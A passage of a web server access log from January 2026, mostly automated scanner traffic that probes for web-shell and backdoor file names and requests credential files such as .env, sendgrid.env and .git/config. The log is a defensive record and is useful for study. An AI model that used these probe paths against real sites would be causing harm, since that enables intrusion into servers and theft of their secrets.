OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.44.9.147 - - [21/Jan/2026:00:32:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 4.188.251.0 - - [21/Jan/2026:03:10:18 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:10:24 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:10:27 +0300] "GET /lm13.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:10:30 +0300] "GET /1aa.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:10:33 +0300] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:10:36 +0300] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:10:39 +0300] "GET /v3.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:10:42 +0300] "GET /ilex.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:10:44 +0300] "GET /wto.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:10:47 +0300] "GET /777.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:10:49 +0300] "GET /file88.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:10:51 +0300] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:10:53 +0300] "GET /ffile.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:10:55 +0300] "GET /p.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:10:56 +0300] "GET /000.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:10:58 +0300] "GET /403.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:00 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:02 +0300] "GET /lol.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:04 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:07 +0300] "GET /o.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:10 +0300] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:12 +0300] "GET /n.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:14 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:16 +0300] "GET /fileas.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:18 +0300] "GET /cccc.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:20 +0300] "GET /CLA.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:22 +0300] "GET /wfile.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:25 +0300] "GET /abc.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:27 +0300] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:29 +0300] "GET /mds.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:31 +0300] "GET /mlex.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:34 +0300] "GET /a.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:36 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:38 +0300] "GET /222.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:38 +0300] "GET /inde.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:41 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:43 +0300] "GET /vee.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:46 +0300] "GET /wcas.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:48 +0300] "GET /k.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:50 +0300] "GET /finny.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:52 +0300] "GET /ws45.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:53 +0300] "GET /build.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:56 +0300] "GET /ws33.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:57 +0300] "GET /klex.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:11:59 +0300] "GET /ws34.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:02 +0300] "GET /alpa.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:05 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:40 +0300] "GET /geck.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:42 +0300] "GET /nfile.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:45 +0300] "GET /file32.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:48 +0300] "GET /class9.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:50 +0300] "GET /031.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:52 +0300] "GET /file4.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:54 +0300] "GET /file5.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:56 +0300] "GET /tx38.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:58 +0300] "GET /404.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:00 +0300] "GET /bless3.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:02 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:04 +0300] "GET /akk.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:07 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:07 +0300] "GET /x7.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:09 +0300] "GET /ws36.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:12 +0300] "GET /0x0x.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:14 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:17 +0300] "GET /file.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:17 +0300] "GET /card.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:19 +0300] "GET /size.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:21 +0300] "GET /class629.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:24 +0300] "GET /file9.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:26 +0300] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:28 +0300] "GET /file18.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:31 +0300] "GET /file21.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:33 +0300] "GET /xxw.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:36 +0300] "GET /racs3.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:38 +0300] "GET /wsd.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:41 +0300] "GET /333.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:43 +0300] "GET /12.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:46 +0300] "GET /moon3.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:49 +0300] "GET /tor.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:51 +0300] "GET /haa.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:53 +0300] "GET /f6.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:55 +0300] "GET /asas.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:57 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:13:59 +0300] "GET /ava.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:02 +0300] "GET /ton.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:05 +0300] "GET /v1.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:07 +0300] "GET /111.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:09 +0300] "GET /an7.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:11 +0300] "GET /xeqdlun.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:13 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:15 +0300] "GET /yellow.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:17 +0300] "GET /lala.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:19 +0300] "GET /file3.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:21 +0300] "GET /file17.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:08 +0300] "GET /444.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:10 +0300] "GET /pp.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:12 +0300] "GET /2.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:14 +0300] "GET /ws38.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:16 +0300] "GET /555.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:18 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:20 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:22 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:24 +0300] "GET /he.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:26 +0300] "GET /cfile.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:28 +0300] "GET /doti.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:30 +0300] "GET /sko.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:32 +0300] "GET /gmo.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:12:35 +0300] "GET /ws37.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:23 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:25 +0300] "GET /file15.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:28 +0300] "GET /file30.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:30 +0300] "GET /bless5.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:33 +0300] "GET /wp-is.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:34 +0300] "GET /hook.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:36 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:38 +0300] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:40 +0300] "GET /class19.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:43 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:44 +0300] "GET /0x.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:45 +0300] "GET /file1.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:47 +0300] "GET /file8.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:48 +0300] "GET /100.kb.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:50 +0300] "GET /ppp.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:52 +0300] "GET /tox.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:54 +0300] "GET /bless11.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:55 +0300] "GET /030.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:57 +0300] "GET /v4.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:14:59 +0300] "GET /xxx.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:15:01 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:15:03 +0300] "GET /33.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:15:06 +0300] "GET /v2.php HTTP/1.1" 301 795 "-" "-" 4.188.251.0 - - [21/Jan/2026:03:15:08 +0300] "GET /new4.php HTTP/1.1" 301 795 "-" "-" 216.244.66.194 - - [21/Jan/2026:03:48:27 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 103.3.246.71 - - [21/Jan/2026:04:01:36 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 49.144.20.219 - - [21/Jan/2026:04:10:05 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 91.202.4.80 - - [21/Jan/2026:04:55:02 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 43.131.36.84 - - [21/Jan/2026:05:36:30 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.244.66.194 - - [21/Jan/2026:05:23:21 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 124.198.132.119 - - [21/Jan/2026:05:58:57 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 52.169.5.4 - - [21/Jan/2026:06:27:35 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [21/Jan/2026:06:27:37 +0300] "GET /abouta.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [21/Jan/2026:06:27:39 +0300] "GET /fclas.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [21/Jan/2026:06:27:42 +0300] "GET /File.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [21/Jan/2026:06:27:44 +0300] "GET /all.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [21/Jan/2026:06:27:47 +0300] "GET /bbn.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [21/Jan/2026:06:27:50 +0300] "GET /berlin.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [21/Jan/2026:06:27:52 +0300] "GET /class-t.api.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [21/Jan/2026:06:27:54 +0300] "GET /xz89.php HTTP/1.1" 301 795 "-" "-" 52.169.5.4 - - [21/Jan/2026:06:27:56 +0300] "GET /thai.php HTTP/1.1" 301 795 "-" "-" 43.134.141.244 - - [21/Jan/2026:06:31:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 1.15.52.154 - - [21/Jan/2026:06:43:11 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 45.148.10.160 - - [21/Jan/2026:08:13:39 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 4.194.179.26 - - [21/Jan/2026:08:35:50 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 104.28.214.117 - - [21/Jan/2026:08:53:03 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 45.148.10.160 - - [21/Jan/2026:08:13:24 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0" 8.39.54.150 - - [21/Jan/2026:10:08:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" 74.7.241.32 - - [21/Jan/2026:10:56:27 +0300] "GET / HTTP/1.1" 301 795 "https://www.waze.com" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.244.17 - - [21/Jan/2026:10:56:26 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36; compatible; OAI-SearchBot/1.3; robots.txt; +https://openai.com/searchbot" 216.244.66.194 - - [21/Jan/2026:10:57:49 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 170.106.65.93 - - [21/Jan/2026:11:45:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 124.156.226.179 - - [21/Jan/2026:12:37:46 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 88.134.110.36 - - [21/Jan/2026:13:46:25 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 88.134.110.36 - - [21/Jan/2026:13:46:35 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 91.202.4.80 - - [21/Jan/2026:12:41:26 +0300] "GET /cjfuns.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 106.119.167.146 - - [21/Jan/2026:13:01:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 91.202.4.80 - - [21/Jan/2026:13:51:02 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 27.46.125.14 - - [21/Jan/2026:14:02:01 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4162.75 Safari/537.36 QIHU 360SE" 69.171.231.29 - - [21/Jan/2026:14:03:37 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 45.94.31.129 - - [21/Jan/2026:16:56:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.129 - - [21/Jan/2026:16:56:59 +0300] "POST /wp-plain.php HTTP/1.1" 301 795 "www.google.com" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.129 - - [21/Jan/2026:16:56:59 +0300] "POST /ALFA_DATA/alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 20.205.60.253 - - [21/Jan/2026:17:09:45 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 216.24.219.232 - - [21/Jan/2026:17:19:56 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 216.24.219.226 - - [21/Jan/2026:17:20:03 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 43.167.232.38 - - [21/Jan/2026:17:29:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 87.121.84.30 - - [21/Jan/2026:18:09:37 +0300] "GET /bitrix/wp-content.php HTTP/1.1" 301 795 "-" "ALittle Client" 45.94.31.129 - - [21/Jan/2026:16:56:59 +0300] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 45.94.31.129 - - [21/Jan/2026:16:56:59 +0300] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 45.94.31.129 - - [21/Jan/2026:16:57:44 +0300] "POST /alfacgiapi/perl.alfa HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 5.189.187.80 - - [21/Jan/2026:17:19:51 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://www.reddit.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_7_2) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Safari/605.1.15" 104.234.19.116 - - [21/Jan/2026:17:20:00 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 216.244.66.194 - - [21/Jan/2026:17:55:11 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 43.157.98.187 - - [21/Jan/2026:18:23:04 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 69.171.231.21 - - [21/Jan/2026:18:51:18 +0300] "GET / HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 92.255.85.76 - - [21/Jan/2026:19:10:20 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 51.159.151.94 - - [21/Jan/2026:19:26:50 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /app/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /api/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /.env.local HTTP/1.1" 301 795 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /public/.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /sendgrid.env HTTP/1.1" 301 795 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /.git/config HTTP/1.1" 403 787 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /config/sendgrid.env HTTP/1.1" 301 795 "-" "Mozilla/5.0" 49.248.192.204 - - [21/Jan/2026:19:27:47 +0300] "GET /api/.env HTTP/1.1" 301 795 "-" "Mozilla/5.0" 129.150.36.137 - - [21/Jan/2026:19:55:29 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_4_1 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148" 129.150.36.137 - - [21/Jan/2026:19:55:44 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 129.150.36.137 - - [21/Jan/2026:19:55:54 +0300] "GET /admin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 129.150.36.137 - - [21/Jan/2026:19:55:59 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 